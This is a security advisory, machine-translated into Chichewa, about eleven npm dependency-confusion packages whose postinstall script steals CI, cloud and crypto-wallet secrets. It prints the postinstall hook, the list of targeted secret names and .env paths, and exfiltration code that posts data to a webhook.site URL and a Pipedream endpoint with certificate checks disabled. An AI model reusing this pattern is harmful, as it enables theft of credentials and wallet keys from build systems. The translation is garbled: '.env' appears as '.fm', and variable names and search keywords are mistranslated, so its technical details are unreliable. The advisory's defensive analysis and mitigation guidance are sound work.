TL; DR
Pa 2026-06-17, akaunti imodzi ya npm inasindikizidwa maphukusi khumi ndi limodzi omwe ali ndi cholinga chimodzi ndi katundu umodziKhumi mwa iwo amanyamula cryptodao- chiyambi (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); chakhumi ndi chimodzi ndi chojambulidwa @public-for-cdao/coreChilichonse chinasindikizidwa pa mtundu wake 99.99.99 ndipo imatumiza byte-yofanana recon.js zomwe zimayenda postinstall.
Mayina ndi ofunikira. Amaoneka ngati zomangira zamkati mwa unyolo wa zida zachinsinsi za pulojekiti ya crypto/DAO. Yofalitsidwa ku registry ya anthu onse ya npm pa mtundu wapamwamba kwambiri, akuyembekezera kumanga pipeline zomwe zakonzedwa kuti zithetse mayina amenewo ndipo zimafika pagulu la anthu onse npm isanafike — kapena m'malo mwa — kulembetsa kwachinsinsi. Izi ndi chisokonezo chodalira, ndipo katundu wolipirira wakonzedwa bwino lomwe komwe akuyembekezera kufika: CI/CD othamanga.
Liti postinstall moto, recon.js akusonkhanitsa tsatanetsatane wa wolandira, akusesa movutikira zosintha makumi anayi za mtambo, CI, ndi crypto-wallet, amawerenga chilichonse .env imalemba mafayilo omwe ingapeze ndikutumiza mizere yobisika momwemo, kenako imatumiza phukusilo kwa osonkhanitsa awiri — webhook.site ndi Pipedream endpoint — yokhala ndi kutsimikizira kwa TLS certificate komwe kwalephereka. Kopiyo imalembedwanso pansi pa /tmp.
Kulimba: mkuluChilengedwe chomwe chakhudzidwa: npmMaphukusi onse khumi ndi limodzi analipo panthawi yolemba nkhaniyi.
Kapangidwe ka kuukira
Makinawa ali ndi magawo anayi osuntha, ndipo palibe chimodzi mwa izo chomwe chimakhala chobisika mukangodziwa. Yang'anani gawo limodzi kupitirira dzina la phukusi.
1. Kukwera kwa vesi ngati chokokera chothetsera mavuto. Phukusi lililonse limalengeza mtundu wake 99.99.99Kusokonezeka kwa kudalirana kumagwira ntchito pamene woyang'anira phukusi, wapempha dzina lamkati, limayang'ananso kaundula wa anthu onse ndikusankha mtundu wapamwamba kwambiri womwe uli nawo amapeza. Kusankha kosasinthika kwa npm kwa mtundu wa caret kapena wildcard ndi mtundu wokhutiritsa kwambiri pa magwero onse okonzedwa; ngati zonse ziwiri ndi zachinsinsi registry ndi public npm yankho la dzina lomweli, nambala yayikulu ya mtundu ipambana. A 99.99.99 imaposa mtundu uliwonse weniweni wamkati womwe polojekiti ingakhale nawo wafika, kotero wotsimikiza yemwe sakukakamizidwa ku gwero lachinsinsi amakonda anthu onse — ndipo pankhaniyi, otsutsa — kopi. Wogwiritsa ntchito safunika kudziwa Manambala enieni a mtundu wa chandamale; kusankha maximum opusa kumatsimikizira kuti chigwirizanocho nthawi zonse chimakhala cholimba amaswa njira yawo.
2. Choyambitsa pambuyo pokhazikitsa. phukusi.json imayika katundu wofunikira pa kukhazikitsa mayendedwe amoyo:
{ "scripts": { "postinstall": "node recon.js" } }Palibe chifukwa cholowetsa phukusi. Kungoliyika - lomwe ndi CI pipeline imachita zokha - imagwira ntchito recon.js.
3. Kufufuza mwachinsinsi. recon.js amasonkhanitsa zotsatira m'magawo:
- Nkhani yokhudza host: dzina la hostname, nsanja ndi kutulutsidwa, zomangamanga, dzina lolowera, kugwira ntchito lowongolera.
- Zosintha zachilengedwe: zimabwereza mndandanda wokhazikika wa mayina ndi zolemba pafupifupi makumi anayi zilizonse zomwe zakhazikitsidwa. Mndandandawu ukuonekera bwino — umaphatikiza ma generic CI token (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) ndi mtambo zizindikiro (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ndi zinsinsi za registry ndi container (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) ndi gulu la anthu okhala ndi kukoma kwa crypto: PRIVATE_KEY, KUMANGA MAGANIZO, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCMa mtengo olembedwa amafupikitsidwa kukhala zilembo 50 zoyambirira.
- .fm mafayilo: imafufuza mndandanda wa njira — .fm, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ndi .kupanga/chitukuko mitundu - ndipo pa fayilo iliyonse yomwe ilipo, imagwira ntchito imasefa zomwe zili mkati kuti zigwirizane ndi mizere CHIFUKWA|CHINSINSI|CHIZINDIKIRO|CHIPATALA|CHIPITA|CHACHINSINSI|MNEMONIC ndipo imayika mizere yonseyo **yosadulidwa** mu zotsatira zake.
- Nkhani yomanga-host: imalemba zolemba 20 zoyambirira za /kumanga/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/ndipo /tmp/.
Mndandanda wa njira ndi mndandanda wosinthika zimalemedwa kwa othamanga a GitLab, zomwe zimasonyeza katundu wofunikira kwambiri pa zomangamanga za CI zomwe zimayendetsedwa zokha osati pa wopanga mapulogalamu laputopu. Kuyika mndandanda wa zokolola m'magulu kumapangitsa kuti katundu wofunika kunyamula akhale wosavuta:
Gulu la crypto ndi gawo lomwe limasiyanitsa izi ndi chinsinsi cha CI chodziwika bwino. kusesa: mawu oti "wallet seed" ndi makiyi osainira amangopezeka pamalo omwe ali pulojekiti ya blockchain, ndipo imalowa mwachindunji mu cryptodao-/chizindikiro/Mgwirizano mayina a onyamula.
4. Kutulutsa zinthu ziwiri ndi kutsimikizira kwatsekedwa. Mndandanda wosonkhanitsidwa ndi yasinthidwa ndi kutumizidwa ku malo awiri:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })kukana Zosaloledwa: zabodza imatseka macheke a TLS satifiketi a zotuluka mafoni. Deta yomweyi imasindikizidwa ku stdout (kotero imagweranso mu CI job logs) ndi yolembedwa kwa /tmp/.npm_recon_ .jsonZolakwika zimamezedwa mwakachetechete, kotero kutumiza kwalephera sikusiya chizindikiro chilichonse muzotulutsa zokhazikitsa kupitirira chimodzi [kubwerezanso] yaikidwa pa mzere.
Ndemanga yotsogola mu fayiloyo ikufotokoza izi ngati "Kusokonezeka kwa Kudalira Kuchepetsa kwa zinthu zachilengedwe kufika pa zilembo 50 kwakhala mawonekedwe a umboni wa lingaliro. Chomwe chimasuntha kudutsa chizindikiro chowonekera chokha ndi .fm Kusamalira: mizere yobisala imatumizidwa yonse, ndipo komwe ikupita ndi anthu awiri ogwira ntchito, olamulidwa ndi owukira osati sinki yomwe imawerengedwa yokha kumenya.
Nthawi
Kachitidwe kofalitsa ndi siginecha ya kankhira kamodzi kolembedwa, osati khumi ndi chimodzi kukweza kodziyimira pawokha.
Maphukusi khumi ankatuluka mkati mwa zenera la masekondi 29, pafupifupi limodzi pa masekondi atatu aliwonse. Zolembedwa @public-for-cdao/core pambuyo pake patatha mphindi 24 — sekondi imodzi kutchula dzina la cholinga chomwecho, ngati polojekiti yomwe ikugwiritsidwa ntchito ikunena za unyolo wa zida zamkati pansi pa chiwongolero osati ngati mayina opanda kanthu.
Zizindikiro za mgwirizano
Khalidwe ndi kudziwika kwa anthu
Chilichonse chokhudza gululo chikuwonetsa dzanja limodzi. Maphukusi onse khumi ndi limodzi adasindikizidwa ndi akaunti ya npm munthu wamkulu (aduljune@proton.me, adilesi yosatsimikizika yopanda malo osungiramo zinthu zolumikizidwa), mkati mwa mphindi 25, nthawi yomweyo 99.99.99 mtundu, kutumiza recon.js zomwe zili mkati mwake ndi zofanana ndi byte-for-byte pa chilichonse phukusi (MD5 ikufanana ndi makope onse khumi ndi limodzi omwe atengedwa). Umenewo ndi katundu umodzi wolipira chosindikizidwa pamndandanda wa mayina, osati kugwiritsanso ntchito ma code paokha.
Mndandanda wa mayina umafotokoza cholinga chomwe mukufuna. cryptodao-* ndi cdao fotokozani za kapangidwe ka gawo lachinsinsi la pulojekiti ya crypto/DAO, ndi mndandanda wa zokolola za katundu magalasi omwe amaganizira: pamodzi ndi CI wamba ndi zinsinsi zamtambo, makamaka ifika kwa PRIVATE_KEY, KUMANGA MAGANIZO, SEED_PHRASE, ndi Ethereum/BSC RPC ndi makiyi a opereka. .fm Njira zosakira ndi mndandanda wa zikwatu ndi GitLab-runner zenizeni. Zotsatira zake n'zakuti aliyense pipeline ananyengedwa kuti ayike izi mayina angatumize ma CI token ake, makiyi a cloud, ndi on-disk .fm zinsinsi — ndipo, chifukwa pulojekiti ya blockchain, chikwama chake - kwa osonkhanitsa awiri a chipani chachitatu.
Sitikunena chilichonse chokhudza amene akuyendetsa akauntiyo kapena zomwe akufuna kuchita ndi akauntiyo. mfundo zomwe zimadziyimira zokha: mayinawo akuyang'ana mtundu winawake wa unyolo wamkati wa zida, katundu wolipira umawerenga ndikutumiza mfundo zenizeni zachinsinsi, ndipo zomangamanga zinali zachangu.
Zotsatira, zochitika, ndi chitsogozo cha oteteza
Kusokonezeka kwa kudalira imakhalabe yothandiza chifukwa imagwiritsa ntchito khalidwe lothetsa mavuto, osati kufooka mu phukusi lililonse. Chonyamulira apa ndi chaching'ono — khumi ndi chimodzi pafupifupi chopanda kanthu ma phukusi — koma utali wozungulira ndi chilichonse pipeline molakwika amakonda public npm kuti mudziwe dzina lamkati. Ma CI runners ndi malo oipa kwambiri kuti zimenezo zichitike: amagwira ndendende zizindikiro ndi .fm mafayilo awa owerengedwa payload, ndipo amayika kudalirana sikumagwirizana, kotero a atakhazikitsa amathamanga popanda wina womuyang'ana.
Gulu ili likugwirizananso ndi njira yomwe timaiona nthawi zonse: zolipira zomwe zimaperekedwa nthawi yokhazikitsa zomwe zimabwera monga “kafukufuku” kapena “kufufuza” pamene mukusonkhanitsa ziphaso zenizeni. Chizindikirocho mu fayiloyi sikusintha zomwe code imachita pa wothamanga. Pali zosankha ziwiri zomwe zimapangidwira ntchito yonse ili chete: ntchito iliyonse ya netiweki ndi fayilo imayikidwa mu chogwirizira cha exception chomwe chimataya zolakwika, kotero kutumiza koletsedwa kapena fayilo yomwe ikusowa sichipereka zotsatira zowunikira matenda, ndipo chinthu chokhacho chosindikizidwa ndi chimodzi chokha chopanda vuto [kukonzanso] … yaikidwa mzere womwe umasakanikirana ndi mawu wamba okhazikitsa. Kugwiritsa ntchito webusaiti ya webhook ndipo Pipedream ndi njira yabwino yopezera zinthu — zonse ndi zaulere, ntchito zofunsira nthawi yomweyo, kotero wogwiritsa ntchito safuna ma seva a zawozawo ndipo malo opitako amaoneka ngati mayina wamba a SaaS mu zolemba zotuluka.
Zachuma ndi zomwe zimapangitsa kuti izi zikhale zoyenera kusamalidwa ndi woteteza ngakhale kuti khodi ya wonyamulira ndi yaing'ono. Kulembetsa mayina khumi ndi limodzi sikuwononga ndalama, katundu ndi umodzi Fayiloyo imakopedwa kakhumi ndi kamodzi, ndipo woyang'anira phukusi ndiye amachita zonse. yosasinthika pipeline kulikonse komwe kumagwiritsa ntchito limodzi mwa mayina awa kumalipira zonse ntchito.
Masitepe enieni a oteteza:
- Ikani ma scope amkati ku registry yanu yachinsinsi. Konzani mayina amkati a npm
ndipo ma scopes amangokhazikika pa registry yanu (mapu a registry a scoped .npmrc, kapena proxy yomwe siigwera mu npm ya anthu onse kuti ipeze malo osungira mayina). Sungani mayina anu a public scope kuti wina asawalembetse.
- Commit lockfiles ndikuyika ndi –ignore-scripts mu CI komwe kungatheke, kapena onani magulu ochepa azinthu zomwe zimafunikiradi kuyika ma script. recon.js sangathe kugwira ntchito ngati atakhazikitsa sichinachitike.
- Taonani mtundu wa 99.99.99 (kapena dzina lina lokwera modabwitsa) la dzina looneka ngati lamkati ngati mbendera yofiira mu kuwunikanso kudalira ndi kuyang'anira kaundula.
- Chenjezo pa nthawi yoyika. A atakhazikitsa zomwe zimatsegula HTTPS yotuluka kulumikizana — makamaka ndi kutsimikizira kwa satifiketi komwe kwatsekedwa — ku webhook.site, Pipedream, kapena ntchito zina zofananira zojambulira pempho ndizoyenera kutsekereza pamphepete mwa netiweki ndikuyika chizindikiro mu zolemba zomangira.
- Kusaka zinthu zakale. Yang'anani othamanga a /tmp/.npm_recon_*.json ndi kwa [recon] ... yaikidwa pa ... chizindikiro mu zolemba za CI zaposachedwa. Ngati zapezeka, tembenuzani chilichonse chizindikiro chodziwikiratu zimenezo pipeline — Ma tokeni a CI, makiyi a cloud, ma tokeni a registry, ndi mbewu zilizonse za wallet kapena makiyi achinsinsi omwe ali mu chilengedwe kapena mafayilo a .env.
Zothandizira
Pa nthawi yolemba nkhaniyi panalibe malipoti akunja okhudza gululi; kusanthulaku pamwambapa zimachokera mwachindunji ku zomwe zili mu phukusi lofalitsidwa
